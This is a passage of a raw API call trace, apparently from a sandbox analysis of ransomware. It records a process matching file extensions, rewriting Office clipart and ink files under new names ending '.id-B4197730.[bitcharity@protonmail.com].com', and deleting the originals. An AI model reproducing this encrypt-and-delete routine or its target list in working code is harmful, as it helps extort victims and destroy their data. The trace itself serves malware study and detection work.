office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0303.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.870] lstrlenW (lpString=".doc") returned 4 [0303.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.870] lstrlenW (lpString=".docx") returned 5 [0303.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.870] lstrlenW (lpString=".pdf") returned 4 [0303.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.870] lstrlenW (lpString=".xls") returned 4 [0303.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.870] lstrlenW (lpString=".xlsx") returned 5 [0303.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.871] lstrlenW (lpString=".ppt") returned 4 [0303.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.871] lstrlenW (lpString=".zip") returned 4 [0303.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.871] lstrlenW (lpString=".rar") returned 4 [0303.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString=".bz2") returned 4 [0303.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString=".7z") returned 3 [0303.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.871] lstrlenW (lpString=".dbf") returned 4 [0303.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.871] lstrlenW (lpString=".1cd") returned 4 [0303.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.871] lstrlenW (lpString=".jpg") returned 4 [0303.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.871] lstrlenW (lpString=".doc") returned 4 [0303.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString=".docx") returned 5 [0303.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.871] lstrlenW (lpString=".pdf") returned 4 [0303.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.871] lstrlenW (lpString=".xls") returned 4 [0303.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.871] lstrlenW (lpString=".xlsx") returned 5 [0303.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.872] lstrlenW (lpString=".ppt") returned 4 [0303.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.872] lstrlenW (lpString=".zip") returned 4 [0303.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.872] lstrlenW (lpString=".rar") returned 4 [0303.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.872] lstrlenW (lpString=".bz2") returned 4 [0303.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.872] lstrlenW (lpString=".7z") returned 3 [0303.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.872] lstrlenW (lpString=".dbf") returned 4 [0303.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.872] lstrlenW (lpString=".1cd") returned 4 [0303.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.872] lstrlenW (lpString=".jpg") returned 4 [0303.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.872] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0303.872] lstrlenW (lpString="J0086424.WMF") returned 12 [0303.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.873] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=17016) returned 1 [0303.873] CloseHandle (hObject=0x10b8) returned 1 [0303.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0303.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.873] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.873] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0303.874] GetLastError () returned 0x0 [0303.874] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x4278, lpOverlapped=0x0) returned 1 [0303.946] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x4280, lpOverlapped=0x0) returned 1 [0303.947] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.947] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.947] SetEndOfFile (hFile=0x10c8) returned 1 [0303.947] CloseHandle (hObject=0x10c8) returned 1 [0303.948] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.948] SetEndOfFile (hFile=0x10b8) returned 1 [0303.949] CloseHandle (hObject=0x10b8) returned 1 [0303.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0303.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.949] lstrlenW (lpString=".doc") returned 4 [0303.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.949] lstrlenW (lpString=".docx") returned 5 [0303.949] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0303.949] lstrlenW (lpString=".pdf") returned 4 [0303.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString=".xls") returned 4 [0303.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.950] lstrlenW (lpString=".xlsx") returned 5 [0303.950] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0303.950] lstrlenW (lpString=".ppt") returned 4 [0303.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.950] lstrlenW (lpString=".zip") returned 4 [0303.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.950] lstrlenW (lpString=".rar") returned 4 [0303.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString=".bz2") returned 4 [0303.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString=".7z") returned 3 [0303.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.950] lstrlenW (lpString=".dbf") returned 4 [0303.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.950] lstrlenW (lpString=".1cd") returned 4 [0303.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.950] lstrlenW (lpString=".jpg") returned 4 [0303.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.950] lstrlenW (lpString=".doc") returned 4 [0303.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString=".docx") returned 5 [0303.951] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0303.951] lstrlenW (lpString=".pdf") returned 4 [0303.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString=".xls") returned 4 [0303.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.951] lstrlenW (lpString=".xlsx") returned 5 [0303.951] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0303.951] lstrlenW (lpString=".ppt") returned 4 [0303.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.951] lstrlenW (lpString=".zip") returned 4 [0303.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.951] lstrlenW (lpString=".rar") returned 4 [0303.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString=".bz2") returned 4 [0303.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString=".7z") returned 3 [0303.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.951] lstrlenW (lpString=".dbf") returned 4 [0303.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.951] lstrlenW (lpString=".1cd") returned 4 [0303.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0303.951] lstrlenW (lpString=".jpg") returned 4 [0303.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.952] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0303.952] lstrlenW (lpString="J0086428.WMF") returned 12 [0303.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.952] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=35346) returned 1 [0303.952] CloseHandle (hObject=0x10b8) returned 1 [0303.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0303.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.953] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.953] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0303.954] GetLastError () returned 0x0 [0303.954] ReadFile (hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0) Thread: id = 3457 os_tid = 0x27dc [0285.984] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3700060 [0285.985] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3710068 [0285.985] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c99a8 [0285.985] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c56d8 [0285.985] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c98d0 [0285.985] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x39f2020 [0285.988] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c98e8 [0285.988] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c98e8, Size=0x20) returned 0x7bd850 [0285.988] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c99c0 [0285.988] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c99c0, Size=0x20) returned 0x7bd7b0 [0285.988] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.988] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.988] Wow64DisableWow64FsRedirection (in: OldValue=0x2e3ff50 | out: OldValue=0x2e3ff50*=0x0) returned 1 [0285.988] lstrlenW (lpString="kernel32.dll") returned 12 [0285.988] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0285.988] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.988] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0285.988] Sleep (dwMilliseconds=0x64) [0286.273] Sleep (dwMilliseconds=0x64) [0286.689] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.689] lstrlenW (lpString="ipsnor.xml") returned 10 [0286.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.689] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2580) returned 1 [0286.689] CloseHandle (hObject=0x109c) returned 1 [0286.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0286.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.690] lstrlenW (lpString=".doc") returned 4 [0286.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString=".docx") returned 5 [0286.690] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0286.690] lstrlenW (lpString=".pdf") returned 4 [0286.690] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString=".xls") returned 4 [0286.690] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString=".xlsx") returned 5 [0286.690] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0286.690] lstrlenW (lpString=".ppt") returned 4 [0286.690] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.690] lstrlenW (lpString=".zip") returned 4 [0286.690] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.690] lstrlenW (lpString=".rar") returned 4 [0286.690] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString=".bz2") returned 4 [0286.690] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString=".7z") returned 3 [0286.690] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.690] lstrlenW (lpString=".dbf") returned 4 [0286.690] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.690] lstrlenW (lpString=".1cd") returned 4 [0286.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString=".jpg") returned 4 [0286.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString=".doc") returned 4 [0286.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString=".docx") returned 5 [0286.691] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0286.691] lstrlenW (lpString=".pdf") returned 4 [0286.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString=".xls") returned 4 [0286.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString=".xlsx") returned 5 [0286.691] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0286.691] lstrlenW (lpString=".ppt") returned 4 [0286.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString=".zip") returned 4 [0286.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.691] lstrlenW (lpString=".rar") returned 4 [0286.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString=".bz2") returned 4 [0286.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString=".7z") returned 3 [0286.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString=".dbf") returned 4 [0286.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString=".1cd") returned 4 [0286.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0286.691] lstrlenW (lpString=".jpg") returned 4 [0286.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.692] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.692] lstrlenW (lpString="ipsplk.xml") returned 10 [0286.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.692] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2600) returned 1 [0286.692] CloseHandle (hObject=0x109c) returned 1 [0286.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0286.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.692] lstrlenW (lpString=".doc") returned 4 [0286.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.692] lstrlenW (lpString=".docx") returned 5 [0286.692] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0286.692] lstrlenW (lpString=".pdf") returned 4 [0286.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.692] lstrlenW (lpString=".xls") returned 4 [0286.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString=".xlsx") returned 5 [0286.693] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0286.693] lstrlenW (lpString=".ppt") returned 4 [0286.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.693] lstrlenW (lpString=".zip") returned 4 [0286.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.693] lstrlenW (lpString=".rar") returned 4 [0286.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString=".bz2") returned 4 [0286.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString=".7z") returned 3 [0286.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.693] lstrlenW (lpString=".dbf") returned 4 [0286.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.693] lstrlenW (lpString=".1cd") returned 4 [0286.693] lstrcmpiW (lpString1=".1cd", 